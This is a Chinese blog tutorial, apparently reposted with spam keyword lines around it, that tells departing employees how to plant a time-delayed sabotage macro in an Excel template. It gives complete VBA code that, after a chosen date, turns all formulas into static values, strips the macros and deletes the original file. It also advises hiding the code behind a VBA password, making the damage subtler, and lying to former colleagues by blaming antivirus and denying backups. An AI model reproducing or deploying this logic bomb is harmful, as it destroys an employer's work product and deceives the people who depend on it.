精品伊人久久大香线蕉,开心久久婷婷综合中文字幕,杏田冲梨,人妻无码aⅴ不卡中文字幕

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
如何在離職一個月后,讓自己曾經辛苦制作的Excel模板優雅的自動報廢?
userphoto

2020.06.09

關注
每天一篇Excel技術圖文
微信公眾號:Excel星球

NO.451-要要切克鬧
作者:看見星光
 微博:EXCELers / 知識星球:Excel

HI,大家好,我是星光。

有句俗話說,職場如戰場,什么齷齪事都有。有的朋友在公司辛苦打拼,加班加點任勞任怨,工資不漲也就算了,還總是被給小鞋穿;臨了辭職,也是遭遇各種小絆子,以至于一口惡氣堵在胸口,大半年不愉快,非常影響生活質量——

于是有的朋友就問了,我辭職之前能不能把做的Excel模板刪掉?我辛辛苦苦的勞動成果憑啥便宜那群白眼狼?

刪模板?當著前公司領導和前同事的面刪模板?當然是——不行的!善良如你絕無可能以如此絕決的方式撕破他們的臉;另外,為什么要刪呢?給他們留個爛蘋果固然很好,但吃蘋果最可怕的并不是吃到爛蘋果,而是一口下去咬到好幾條毛毛蟲——所以我隆重向你推薦這個方案:

在離職一個月后,讓模板優雅的自動報廢

……

假設我們有一個模板,叫'擺攤吧!后浪',這是一份你辛苦良久,加班加點,整理業務邏輯、數據邏輯;編寫函數,甚至VBA代碼蛋生的勞動成果。

步驟1

制作說明表


打開模板工作簿,新建一張工作表,命名為說明表。在醒目位置敲下以下文字:

使用本模板必須啟用宏

如有其它說明,可以根據自身需要,放肆補充。

步驟2

保護工作簿結構


將所有工作表隱藏,只保留說明表。

在【審閱】選項卡下,單擊【保護工作簿】,保持【結構】復選框選中狀態不變,輸入保護密碼。(金魚同志,組織讓我給你捎句話,這密碼你需要記住幾秒鐘,別輸入完轉眼就忘卻了)。

這一步的意義是什么呢?所有工作表都隱藏起來了,模板還怎么用?——目的其實是強制用戶啟用宏,不啟用宏,就無法正常使用模板……繼續往下看▼

步驟3

編寫定時自宮代碼


按<Alt F11>組合鍵,打開VBE編輯器,雙擊ThisWorkbook,將以下代碼復制粘貼到右側的代碼窗口。


復制以下代碼...▼
'工作簿打開,取消工作表隱藏Private Sub Workbook_Open() Dim sht As Worksheet On Error Resume Next ThisWorkbook.Unprotect '111111' For Each sht In Worksheets sht.Visible = xlSheetVisible Next ThisWorkbook.Protect '111111', TrueEnd Sub

'禁止文件另存為Private Sub workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean) Dim b As Long If SaveAsUI = True Then b = MsgBox('該工作簿不允許用“另存為”來保存,' & _ '你要用原工作簿名稱來保存嗎?', vbQuestion vbOKCancel) Cancel = (b = vbCancel) If Cancel = False Then Me.Save Cancel = True End IfEnd Sub
'保護工作簿結構,定時更新代碼Private Sub Workbook_BeforeClose(Cancel As Boolean) Dim sht As Worksheet, dte As Date Dim strname As String, strFullName As String On Error Resume Next With Application .ScreenUpdating = False .DisplayAlerts = False .EnableEvents = False End With dte = VBA.DateSerial(2026, 6, 16) '代碼維護更新時間 If dte < Date Then For Each sht In Worksheets sht.UsedRange.Value = sht.UsedRange.Value Next strname = Split(ThisWorkbook.Name, '.xls')(0) Workbooks(strname & '.xlsx').Close True strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbook Kill strFullName strFullName = ThisWorkbook.FullName ThisWorkbook.SaveAs ThisWorkbook.Path & '\' & strname & '臨時工', xlOpenXMLWorkbook Workbooks.Open (strFullName) ActiveWorkbook.SaveAs ThisWorkbook.Path & '\' & strname, xlOpenXMLWorkbookMacroEnabled ActiveWorkbook.Close True Kill strFullName With ThisWorkbook .Saved = True .ChangeFileAccess xlReadOnly Kill .FullName .Close End With Else For Each sht In Worksheets If sht.Name <> '說明表' Then sht.Visible = xlSheetVeryHidden End If Next ThisWorkbook.Protect '111111', True ThisWorkbook.Save End If With Application .ScreenUpdating = True .DisplayAlerts = True .EnableEvents = True End WithEnd Sub
以上代碼有3個事件過程。

第1至第10行代碼是在工作簿打開時,自動取消工作表隱藏并保護工作簿結構,以便模板正常使用。

第13至第22行代碼是禁止當前工作簿另存為的行為。

剩下的代碼屬于第3個事件過程,是核心領導地位。在工作簿保存前,判斷當前電腦的日期是否大于2026年6月16日;如果條件成立,則將當前工作簿每張工作表的函數公式轉換為數值,將函數公式自殺;同時將工作簿另存為.xlsx格式,將VBA代碼自殺;再將該文件夾重命名為原文件名;如果條件不成立,則將除了'說明表'以外的工作表全部隱藏,并重新保護工作簿結構。

代碼設置的自宮時間是2026年6月16日,您可以根據實際需要進行調整。

dte = VBA.DateSerial(2026, 6, 16) '代碼維護更新時間,可根據需要調整

代碼設置的工作簿原始保護密碼是111111,
這個密碼必須和你在第2步輸入的工作簿保護密碼一致,您可以在代碼窗口按<Ctrl H>打開查找替換對話框,將111111替換為實際保護密碼。



步驟4

設置VBE保護密碼


在【工具】選項卡下單擊【VBA Project屬性】,在打開的對話框中切換到【保護】選項卡。勾選【查看時鎖定工程】復選框,在【查看工程的密碼】輸入保護密碼。


設置VBE保護密碼的目的是……多少遮掩一下相關代碼,別萬一被人家看到了,且看懂了,那就怪不好意思的。

步驟5

更改文件類型


第5步,也是最后一步,將當前工作簿另存為.xlsm類型的文件。如果是保存為.xlsx類型的文件,復制粘貼的那些VBA代碼就會被系統自動刪除,那就前功盡棄了。


……

做完這些設置,到達指定時間后,該工作簿就會自動將所有的公式轉換為數值,并自動刪除所有VBA代碼了。

模板報廢后,你的前同事有可能會期期艾艾或者兇兇巴巴的聯系你……

……

有裝360嗎?我當初編寫的代碼被你們用殺毒軟件給殺死了吧?(360經典背鍋俠)

確定沒有操作錯?模板對操作者的Excel水平要求很高的,如果是小白的話,有太多可能出問題了——這個我和你真說不清楚。

備份?沒有備份。都離職1個多月了,東西早都扔垃圾桶了,備份文件做什么?就我那工資,備份文件值啥啊?……

不好意思,我都離職一個多月了,公司的業務邏輯都忘的差不多了,這我真幫不了你。你們當時也說我的工作很簡單,做事不花時間,那你們重新做下模板,或者干脆不用模板不就得了?

……

小貼士▼

1,奇葩公司奇葩同事當然有,但想來應該也不多,如果不是怨氣堵胸懷嚴重影響夜生活,看我真誠的小眼神,就不必和那幫家伙一般見識了。但如果情況確實很惡劣,又有句俗話說的好,狗咬了你一口,難道你還能咬回去?——肯定得打死它!

2,以上模板自廢的方案并非不可破解,破解的方法有很多,但你身邊懂得破解的人肯定并不多。這就好比天空一朵看起來碩大的烏云,化成雨落到每個人頭上,也就只是一滴水。另外,代碼可以靈活修改,比如,只是刪除或改變關鍵部分的函數公式/VBA代碼,而不是將其全部刪——如此使自廢的過程更加隱蔽。
本站僅提供存儲服務,所有內容均由用戶發布,如發現有害或侵權內容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
就這么簡單!一鍵按職業拆分成多個多工作表、工作簿(完善版)
【Excel VBA】復制指定文件夾下多工作簿的工作表到匯總工作簿
VBA:如何將指定文件夾下所有工作簿的工作表移動到當前工作簿?
VBA/Excel-實例系列-01-工作簿目錄生成
如何按指定名稱和模板批量創建Excel工作簿?
細品RibbonX(50):如何共享Ribbon定制之Excel部署技術
更多類似文章 >>
生活服務
分享 收藏 導長圖 關注 下載文章
綁定賬號成功
后續可登錄賬號暢享VIP特權!
如果VIP功能使用有故障,
可點擊這里聯系客服!

聯系客服

主站蜘蛛池模板: 桐梓县| 长宁区| 安岳县| 错那县| 大城县| 锦屏县| 尤溪县| 安徽省| 永德县| 睢宁县| 贡觉县| 喀喇| 会泽县| 常宁市| 垫江县| 大安市| 榆中县| 炉霍县| 牡丹江市| 巴彦淖尔市| 南皮县| 玛多县| 连州市| 措勤县| 肥乡县| 湖南省| 琼海市| 渭南市| 富阳市| 海兴县| 思茅市| 忻城县| 色达县| 新津县| 北安市| 宁蒗| 景洪市| 金华市| 乌鲁木齐县| 延津县| 九江县|